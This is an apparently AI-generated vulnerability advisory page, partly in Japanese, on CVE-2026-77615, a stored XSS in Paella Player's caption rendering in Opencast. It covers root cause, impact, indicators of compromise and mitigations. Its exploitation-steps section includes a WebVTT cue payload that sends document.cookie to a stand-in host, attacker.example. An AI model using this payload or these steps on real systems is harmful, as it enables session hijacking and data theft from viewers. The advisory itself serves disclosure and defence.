CVE-2026-77615
JavaScript 脆弱性の分析と軽減

概要

CVE-2026-77615 is a stored Cross-Site Scripting (XSS) vulnerability in Paella Player's closed captions rendering, affecting the paella-core library prior to version 2.12.11 and Opencast prior to versions 19.7 and 20.2 (versions 20.0–20.2 and all 18.x/19.x releases are affected). The vulnerability was discovered by Jan Kahmen of turingpoint and disclosed on September 17, 2026, with a patch advisory published on September 18, 2026. It carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Feedly).

技術的な詳細

The root cause (CWE-79) is that the Paella Player captions canvas appends each WebVTT or DFXP cue directly to _captionsContainer.innerHTML without HTML escaping or sanitization, allowing arbitrary HTML/JavaScript in cue text to become live DOM. The caption track is sourced from any media package element with a captions/* flavor, served via /search/episode.json to anonymous viewers, and the WebVTT/DFXP caption plugins are enabled by default in Opencast's configuration. An attacker with low privileges (e.g., ROLE_API_EVENTS_CREATE, ROLE_API_EVENTS_TRACK_EDIT, ROLE_UI_TASKS_CREATE) can upload a malicious subtitle file containing an XSS payload in a cue, publish the event, and the payload executes in the browser of any viewer who enables captions — including anonymous users. The fix in paella-core introduces a sanitizeHtml() function that parses HTML in an inert <template> element, strips forbidden tags (script, iframe, object, etc.), removes inline event handlers (on* attributes), and blocks dangerous URL protocols before inserting cue text into the DOM (GitHub Advisory, paella-core fix commit).

影響

Successful exploitation results in stored JavaScript execution in the Opencast origin within the browser session of any viewer who enables captions on the affected event, including anonymous viewers and authenticated staff such as instructors and administrators. Attackers can steal session tokens and CSRF tokens, perform actions against the Opencast REST API on behalf of victims, and manipulate page content. Because the caption file is served to anonymous clients via /search/episode.json, the blast radius extends to all users of the platform without requiring any authentication at view time (GitHub Advisory).

エクスプロイト可能性

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. However, exploitation requires only low privileges (a content author account) and user interaction (a viewer enabling captions), making it relatively accessible to motivated attackers on multi-tenant Opencast deployments such as universities and media organizations.

エクスプロイテーションのステップ

  1. Obtain a low-privileged account: Acquire an Opencast account with roles ROLE_API_EVENTS_CREATE, ROLE_API_EVENTS_TRACK_EDIT, and ROLE_UI_TASKS_CREATE — a typical content author or instructor account.
  2. Create a malicious WebVTT subtitle file: Craft a .vtt file with an XSS payload embedded in a cue, for example:
WEBVTT

00:00:00.000 --> 00:00:30.000
<img src=x onerror="document.title=document.domain;fetch('https://attacker.example/steal?c='+document.cookie)">
  1. Upload the subtitle to an event: Using the Opencast UI or REST API, upload the malicious .vtt file as a captions/source track to a target event.
  2. Publish the event: Trigger the fast workflow (or equivalent) to publish the event, which makes the caption file available via the engage player and /search/episode.json.
  3. Deliver the link to victims: Share the event URL with target users (or wait for organic viewership on a public event).
  4. Trigger execution: When a victim opens the event in the Paella Player and enables captions, the cue text is written to _captionsContainer.innerHTML without sanitization, executing the injected JavaScript in the victim's browser session within the Opencast origin.
  5. Harvest results: The attacker's server receives stolen session cookies, CSRF tokens, or other exfiltrated data, enabling session hijacking or further API abuse (GitHub Advisory).

妥協の兆候

  • Network: Unexpected outbound HTTP requests from viewer browsers to external domains immediately after loading a video with captions enabled; requests to attacker-controlled endpoints containing encoded cookie or token data in query parameters.
  • File System / Media Package: WebVTT (.vtt) or DFXP caption files in the Opencast media package storage containing HTML tags (e.g., <script>, <img>, <svg>) or event handler attributes (e.g., onerror=, onload=) within cue text.
  • Logs: Opencast access logs showing GET /search/episode.json?id=<event_id> followed by retrieval of a caption file URL, particularly from anonymous sessions; unusual REST API calls (e.g., user management, workflow triggers) originating from authenticated sessions shortly after caption-enabled video views.
  • Application: Caption files uploaded by non-admin users containing HTML markup rather than plain text cue content; events published with captions/source tracks that contain angle brackets or JavaScript URI schemes in cue data (GitHub Advisory).

軽減策と回避策

Upgrade Paella Player (paella-core) to version 2.12.11 or later, and upgrade Opencast to version 19.7 or 20.2 (or later). The fix introduces HTML sanitization via a sanitizeHtml() function applied to all caption cue text before DOM insertion. As a defense-in-depth measure, implement a strict Content-Security-Policy header on the Opencast origin to restrict inline script execution, and add X-Content-Type-Options: nosniff. Organizations unable to upgrade immediately should restrict caption upload permissions to trusted administrators only and audit existing published caption files for HTML content (GitHub Advisory, Opencast 19.7 Release, Opencast 20.2 Release).

関連情報


ソースこのレポートは AI を使用して生成されました

関連 JavaScript 脆弱 性:

CVE 識別子

重大度

スコア

テクノロジー

コンポーネント名

CISA KEV エクスプロイト

修正あり

公開日

CVE-2026-54504HIGH8.8
  • JavaScript logoJavaScript
  • @andrea9293/mcp-documentation-server
いいえはいSep 17, 2026
CVE-2026-77615HIGH8.7
  • JavaScript logoJavaScript
  • paella-core
いいえはいSep 17, 2026
CVE-2026-91127HIGH8.2
  • JavaScript logoJavaScript
  • @file-viewer/doc
いいえはいSep 18, 2026
CVE-2026-77301HIGH7.5
  • JavaScript logoJavaScript
  • openclaw
いいえはいSep 18, 2026
CVE-2026-84992MEDIUM6.1
  • JavaScript logoJavaScript
  • md-editor-v3
いいえはいSep 18, 2026

無料の脆弱性評価

クラウドセキュリティポスチャーのベンチマーク

9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。

評価を依頼する

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者